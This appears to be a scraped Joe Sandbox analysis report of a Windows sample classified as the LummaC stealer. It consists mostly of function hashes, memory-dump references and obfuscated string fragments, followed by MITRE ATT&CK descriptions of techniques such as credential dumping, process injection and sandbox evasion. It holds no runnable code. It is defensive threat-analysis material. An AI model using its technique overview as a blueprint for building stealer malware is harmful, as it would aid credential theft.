Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2a2ab27b6b9e65ef996e414537e2a04f31043a80f51d0587717f989c6ef1ba2
Instruction ID: 4c5368dcdd5aef50abdb281c01f18db36df023d5133ee90db0143a1002f84cbd
Opcode Fuzzy Hash: d2a2ab27b6b9e65ef996e414537e2a04f31043a80f51d0587717f989c6ef1ba2
Instruction Fuzzy Hash: 5E61B1716187518FC719CF28C89076BB7E2BBC9314F19866DE89AC7385DB30E905CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00673A60 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b6ae043250574d80f4417cce78a8ae530c0e971c3288cd296c6bc139ca938a
Instruction ID: 1c2b81f9319c650b8d4e56b7a2616d99828b64a5387dc84e4241ab64ff20e532
Opcode Fuzzy Hash: a4b6ae043250574d80f4417cce78a8ae530c0e971c3288cd296c6bc139ca938a
Instruction Fuzzy Hash: D051ADB15087558FE714DF29D89476BFBE1AB84308F00892DE4E987350E775DA08CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00642C90 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c7133bf4b7ed00a28859ad60159fed826804eec814921db350bcf32bed2d640
Instruction ID: 1cc9ef6c1fff723170b537d957d4b80fe42576763fa13a2cd20cfb381dd6dc43
Opcode Fuzzy Hash: 9c7133bf4b7ed00a28859ad60159fed826804eec814921db350bcf32bed2d640
Instruction Fuzzy Hash: 0041F632B0C26247CB1C8E6D9CA01BAFAD39FC5304B2EC63DF889D7796D5788C019694

Uniqueness

Uniqueness Score: -1.00%

Function 00653B90 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b13a8526c9cdaf086bbc9aeca14c7f4dfeab59aab9976023e70bd4db401a907c
Instruction ID: f053ef9c21f012cb6d7bfb3def267ee9f6d0e9712122b17e8cb3faadd258aff3
Opcode Fuzzy Hash: b13a8526c9cdaf086bbc9aeca14c7f4dfeab59aab9976023e70bd4db401a907c
Instruction Fuzzy Hash: 214139B59083288FC3219F64C8C07B6B7D6EF61B95F095568EC8957381E771DA08C352

Uniqueness

Uniqueness Score: -1.00%

Function 0064EB60 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b0a67c2c4375855a702aae7a6617080482964933c56420efc53ed1e4e660c1e
Instruction ID: 53cf4765b12d8d82c86659d3ec85d9d36d81ba0ca8c4c2053929d56276237341
Opcode Fuzzy Hash: 4b0a67c2c4375855a702aae7a6617080482964933c56420efc53ed1e4e660c1e
Instruction Fuzzy Hash: 6341E67660C6504FE3088A39C99437ABBD3EFC9350F058A6DF1EA873D1C6398946EB11

Uniqueness

Uniqueness Score: -1.00%

Function 00642E60 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e561706402adcac4549ffb11d49abae4eabf5eb4ddbd550aca74a51861929b3
Instruction ID: 2281fa9c5fb7081cc675c6cff9a970bee979133e33005d858a5a27237530ce82
Opcode Fuzzy Hash: 3e561706402adcac4549ffb11d49abae4eabf5eb4ddbd550aca74a51861929b3
Instruction Fuzzy Hash: 162127317541B20BC754C9398C90066A7A3DBC721576DD676EB98C3756D13AE84B8260

Uniqueness

Uniqueness Score: -1.00%

Function 00679BB3 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a686feaff17b1340a0572915deabfcceb61f3657778bfd1b456d945ae6df7d7
Instruction ID: 9ccf1589fe91a90c56f988161e1616ac9e60a5fa4f1ef92b670690bbc87a65b7
Opcode Fuzzy Hash: 2a686feaff17b1340a0572915deabfcceb61f3657778bfd1b456d945ae6df7d7
Instruction Fuzzy Hash: 6E316971250B018FE320CF19C895B06BBF2BB05314F64865CD8A98B7A5C378F855CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0067A7BF Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 954f3db51b82f57f7e86d78bac447248b76fc48de2cf927ae6c97a4304e9fff3
Instruction ID: 46f0b1614bd92b19e91df914c3d32a284458b29bd6357d4a8653b63e5d655721
Opcode Fuzzy Hash: 954f3db51b82f57f7e86d78bac447248b76fc48de2cf927ae6c97a4304e9fff3
Instruction Fuzzy Hash: D61108339081500EE70DCA3488F57BABAA76BD7351F0EE26AD4654F1D6DE7096058642

Uniqueness

Uniqueness Score: -1.00%

Function 00671B40 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 15c325a0b4bf43754e90aa7ef276c273769a0962e18ea7db1447daa4817d01eb
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 6611C233A051D54EC3168D3C84109A5BFE30AA7A75B19839AE4B89F2D2E6228D8B8354

Uniqueness

Uniqueness Score: -1.00%

Function 00653F60 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 411ffe1f2382e20613e4ed5301728655e66e5d59894ad6dadbaa66fd2e5d84f7
Instruction ID: 3663babe8acc685eff08986ce7f12e150dd92ba4cbd46d3db6f7a59a75ec66b1
Opcode Fuzzy Hash: 411ffe1f2382e20613e4ed5301728655e66e5d59894ad6dadbaa66fd2e5d84f7
Instruction Fuzzy Hash: 87116DB9950362CBCB30CF14C890673B3B2FF867827141849ED829B354E734E955C724

Uniqueness

Uniqueness Score: -1.00%

Function 00663D30 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25a5ed1121be11c7a6d089208b54b6418ce612f7b0c07b9818db4dc29ae37b97
Instruction ID: 2b6cecaa2e993991d8d6c4806f62d5e38f465365c963939db2f243389fc6205f
Opcode Fuzzy Hash: 25a5ed1121be11c7a6d089208b54b6418ce612f7b0c07b9818db4dc29ae37b97
Instruction Fuzzy Hash: 6101D4F56007214BE720AE54D4D076FF2BA6F92714F18042CE81547342DB72ED04C295

Uniqueness

Uniqueness Score: -1.00%

Function 0064C790 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: db7dd36bcb2f484654f6fe70b7892570568dd28359ddb95d66d54ec1104c21a0
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 53D0A7715497A10F97988D3804A04B7FBE9E987662B18149EE4D2E3309D321DC014A98

Uniqueness

Uniqueness Score: -1.00%

Function 0064FD12 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7195b532ded0cf5b44e805fc40eda0c62694882d9d20c157d6c2acd4e3226d1a
Instruction ID: f676405a964a019a29c53d1e58de0070dfa655a2024c614695ac9e7af2912609
Opcode Fuzzy Hash: 7195b532ded0cf5b44e805fc40eda0c62694882d9d20c157d6c2acd4e3226d1a
Instruction Fuzzy Hash: E0E01278A041039FC704CF04C5A08AAF3FAEB86304B05E35CC4455B311D730AA47CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00679B59 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a09d31360fdb10e07b32d0502c2156258481edcdc1bd759fa6297b83495d059c
Instruction ID: 02e37a094cc5cc28cc1d22b9d828509f0b775e169e4310a61e0e504e22d50f16
Opcode Fuzzy Hash: a09d31360fdb10e07b32d0502c2156258481edcdc1bd759fa6297b83495d059c
Instruction Fuzzy Hash: E5B09236A980029F8748CF04E851431B2BAA35B208B44312A9453F3292CA21D4008B0C

Uniqueness

Uniqueness Score: -1.00%

Function 0066112F Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e429dc7579c2799c1e0449ee10f41ef8abdfa83b64f96b457d7e1c020b02e2cb
Instruction ID: 3eb80e612e4f1820f80e8f0d32802fa369bc6cba24ba1c810d25c8ed39edbb61
Opcode Fuzzy Hash: e429dc7579c2799c1e0449ee10f41ef8abdfa83b64f96b457d7e1c020b02e2cb
Instruction Fuzzy Hash: 4BA011E0C880008BC300AE00B80203EA23AA20B20AF223020E008E3202FE02E008820E

Uniqueness

Uniqueness Score: -1.00%

Function 00662160 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 268COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00662257
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 0066228A

Strings

W%L;, xrefs: 0066233B
Q1@7, xrefs: 00662353
\9y?, xrefs: 00662343
XY, xrefs: 0066241A
h-[#, xrefs: 00662398
]=@3, xrefs: 0066234B
W!A', xrefs: 00662333

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Q1@7$W!A'$W%L;$XY$\9y?$]=@3$h-[#
API String ID: 237503144-1669892580
Opcode ID: 354acfa605089b4ee44c0c83d217d35975957265b40fcc709871be8403832ff1
Instruction ID: 3a369c3bdeeb90bc5b7265f1aeba5ea29a7b8d8ec82733d6ea55156daeb2415e
Opcode Fuzzy Hash: 354acfa605089b4ee44c0c83d217d35975957265b40fcc709871be8403832ff1
Instruction Fuzzy Hash: 1EA15A711087908FD724CF24C4A07AFBBE2BBC9708F554A1DE9B96B290D7749905CF86

Uniqueness

Uniqueness Score: -1.00%

Function 00661142 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 006612BE

Strings

}{, xrefs: 006611FF
zy, xrefs: 0066120B

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: zy$}{
API String ID: 237503144-1597143605
Opcode ID: eafd3a4a4a14c4851c37c0290f6e0d20176ad1425e7fcf277c4ccaecc6d93776
Instruction ID: 9e4a7aea741a41d99b5303f616ec8b37e5cef3a928ac3c882e20e78ba52afd55
Opcode Fuzzy Hash: eafd3a4a4a14c4851c37c0290f6e0d20176ad1425e7fcf277c4ccaecc6d93776
Instruction Fuzzy Hash: DC71C1B5908355AFE7208F94E850B9FB7E6FBC5710F044A2DF998AB341D7719801CB92

Uniqueness

Uniqueness Score: -1.00%

Function 006501AD Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 360COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000000,00000000,00000000,?), ref: 00651456
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000000,00000000,?,?), ref: 0065148C

Strings

VZ, xrefs: 00650518

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: VZ
API String ID: 237503144-646336711
Opcode ID: ad3ec499e980d46f4b6942ee3be584db35c68d5e647a0c9480049f9ddd76ddec
Instruction ID: 8707a9826e2a81ca951f6849ad32dc9b244316844cf8a0eb4807646c6aeb81c0
Opcode Fuzzy Hash: ad3ec499e980d46f4b6942ee3be584db35c68d5e647a0c9480049f9ddd76ddec
Instruction Fuzzy Hash: EFE19B705483828BE335CF14C854BEFBBE2BFC5345F48592DE8998B281E37999458F92

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00666EDE Relevance: 13.3, APIs: 2, Strings: 5, Instructions: 1055
COMMON

Function 00660AA0 Relevance: 13.0, Strings: 10, Instructions: 472
COMMON

Function 0066E8E0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 216
COMMON

Function 00677A71 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 92
libraryCOMMON

Function 00656890 Relevance: 6.7, Strings: 5, Instructions: 421
COMMON

Function 0064C800 Relevance: 6.5, Strings: 5, Instructions: 262
COMMON

Function 00644640 Relevance: 5.5, Strings: 4, Instructions: 529
COMMON

Function 0065F41E Relevance: 5.4, Strings: 4, Instructions: 438
COMMON

Function 0067AF00 Relevance: 5.2, Strings: 4, Instructions: 157
COMMON

Function 0065CFF0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 132
COMMON

Function 00648D30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre